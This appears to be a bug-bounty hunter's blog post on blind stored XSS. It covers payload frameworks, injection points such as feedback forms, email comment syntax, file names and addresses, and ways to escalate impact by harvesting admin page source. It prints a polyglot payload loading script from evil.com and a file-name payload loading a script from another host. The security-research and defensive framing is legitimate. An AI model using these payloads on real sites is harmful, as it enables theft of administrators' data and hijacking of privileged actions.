Bug Hunt, Blind-XSS and Fox Tricks
Foxes know a lot about hunting :)
Many have probably already heard about BugBounty , a search for vulnerabilities with rewards and related stories about it. As one of the “bug hunters,” I started my journey a little over a year ago at the HackerOne site. During this time, I managed to learn a lot about different types of vulnerabilities, gain a lot of experience and now I would like to share this with the community.
In this article I want to talk about a type of vulnerability such as Blind Cross-site Scripting or blind stored cross-site scripting, if translated into Russian. I invite you to cat, if you are interested in such topics or you want to improve the security of your application.
Many web applications have an administrative panel or its other variations that allow you to control the content of the website, manage user data and perform many other privileged actions. The administrative portal can be protected by access to a specific pool of IP addresses, HTTP-Only cookies and, of course, authorization.
However, all these protection mechanisms can be circumvented if user-entered content is found to be malicious, and the application does not properly clean up the information sent by the user.
Tools for use
First, let's get acquainted with the tools that will allow us to successfully exploit the discovered Blind-XSS . It differs from other vulnerabilities by the exploitation method. By sending a malicious message, we don’t know whether JavaScript was successfully integrated into HTML pages or not. The malicious code will be executed only when the administrator visits the page with this code. Otherwise, we may never know whether the attack was successful or not.
All sorts of frameworks created exclusively for Blind-XSS injection can provide us with operational assistance:
- XSS Hunter ( GitHub ) - one of the most popular frameworks
- ezXSS
- bXSS (with SMS notification)
- elScripto
And many others. Each framework has its own peculiarities, so each baghunter chooses the one that is most convenient and suitable for his needs. Since I use XSS Hunter , later in the article I will give its features and how to use them to get the best result.
Having set up the framework, you will get ready payloads that can be applied in different situations, but polyglots are most often used, for example:
\-->'></style></div></article></script><script/src=//evil.com>
Entry point or injection point
All entry points are united by the fact that the information entered into them is not properly cleared of JavaScript code and allows the implementation of this code in the HTML structure of the administrative page. In my opinion, the most popular entry point is a message to the support service.
Consider those that I know of.
1. Feedback form
As a rule, in this form there are such fields as:
- headline
- message
- sometimes an email address in case the administrator wants to contact the author of the message.
Each of these fields may be vulnerable to JavaScript injection. But there is a little trick here:
If you see the Email address field, then do not rush to give up if it does not accept anything other than the Email structure. Try:Quotation marks and brackets are a valid part of the email address and are comments in accordance with the specifications of RFC 2822 (section 3.4.1), RFC 3696 (section 3).- "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
- "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
Half of my successful injections are just an injection through a comment email address. Most often, checking on the client side (browser) will still not allow the use of such an email. But we know that checking on the client means nothing to us:
Briefly about Client-side validation and hackers 
Therefore, the email address only needs to be replaced in the process of sending a request using any proxy application (for example, Burp Suite).
2. Forms for complaints / suggestions / assessments
Surely you often saw the line “Is the article helpful?” (Rate the article) on support portals or with documentation. By clicking on the "No" button, they can offer us to send a message why the article was not useful and what can be improved. You probably already understood where our payload would be in this case.
Therefore, if you see similar offers to send feedback, you should definitely pay attention to them and send a payload, which in the end can be successful.
3. Account registration
Yes, when registering an account, it is extremely unlikely that our account will be viewed somewhere in the administrative panel, however, by inserting the payload into the email address, we can later use this to send messages to the site as a registered user. At the same time, the forms themselves will automatically display our address in the administrative panel, despite the fact that it was not directly requested when sending any form or message.
4. Customer Support
The most obvious entry point and being exploited most often. Each form for requesting support services can be very different from each other, so pay attention to any fields into which you can insert a payload.
The ability to download files deserves special attention. Another trick is that the payload can be left in the file name, for example:
Screenshot - 12.03.2019 12_05_52"><script src=//mysite.com/1.js>.jpeg.html
And leave the same script in the file itself (thanks to w9w for finding).
5. Delivery address / company / home
The address is also often used when interacting with the user when he needs to send something in the case of a delivery service, a store, hotel reservation or other application that processes addresses.
The address field is quite common and sometimes validation occurs at the level of an existing address. Therefore, you may need to enter the real address at the beginning and indicate it on the map, and already in the process of sending the request, add the payload to the valid address in order to bypass the application checks.
6. Hidden APIs
Sometimes, when learning JavaScript code, you may find API endpoints that are not in use in the application. This can be, for example, sending information about errors, debugging, and the like. It is possible to form a request based on JS and send a message with a payload.
Post operation and bypass protection mechanisms
Having received a feedback from the successful operation of Blind-XSS, many are in a hurry to report a find to the program with rewards for the vulnerabilities found. However, most often, such vulnerabilities receive high priority, but not critical. We have several ways to prove the critical damage from a possible exploitation of a vulnerability.
1. Learning the source HTML panels
With each successful operation, XSS Hunter sends us information such as:
1. User cookie
2. User-agent user
3. IP address of the user
4. URL of the page on which the script is executed
5. HTML source code of the page
6. page screenshot
7. Referrer
As a rule, there are no session cookies, since they have the HTTP-Only attribute. In this case, the most useful for us is the source code of the HTML page. In it, among other things, you can find JavaScript. This code allows you to understand how requests are generated to perform administrative actions. It is necessary to study it and try to perform these actions by creating a request manually in Burp Suite or in other similar software.
In my case, the admin panel was on the same domain from where I sent the payload, so I was able to open all the scripts without additional injection (although this can be done in one injection). To my surprise, although access to the administrative sections still required authorization, I managed to send requests to the administrative APIs and manage the content as if I were already an administrator.
Unfortunately, the program in which I managed to detect these vulnerabilities is private and I can’t name it or show in more detail the process of extracting requests from JS code.
As a result of this find, I managed to get $ 2500 instead of $ 1000 as if it were a high-priority vulnerability.
2. Get more information.
Even if the administrative panel is behind the firewall and there is basically no way to access it, you can still get more information and increase the criticality of the discovered vulnerability.
XSS Hunter allows you to add your own JS code to the payload and specify additional pages to retrieve:
After the first successful operation, you can extract additional pages that were obtained in the course of studying the source code of the HTML page. In the same way, you can execute requests with administrator privileges, but this requires more complex JS code.
In addition, I think that you can add a recursive HTML extraction of other pages of the administrative panel, on which sensitive information may appear, but I have not had to resort to this yet.
Conclusion
- I advise developers to check all their fields related to Email addresses, since very often many rely on a standard check of the structure of the email address, not taking into account that it is possible to generate a completely valid address, but with malicious code.
- Pay attention to any minor fields related to feedback. They are different and it is impossible to list them all.
- Do not be lazy to extract additional information from the received HTML page, with a high probability it can increase your bounty at times.
- Try to prove critical impact for each of your Blind-XSS.
I propose subscribing to my channel in Telegram (only in Russian), as well as to a Twitter account (in English), since it is difficult to collect material for such large articles, but I can publish short tricks and finds quite often.
Links can be found below.
Have a good hunting!
All Articles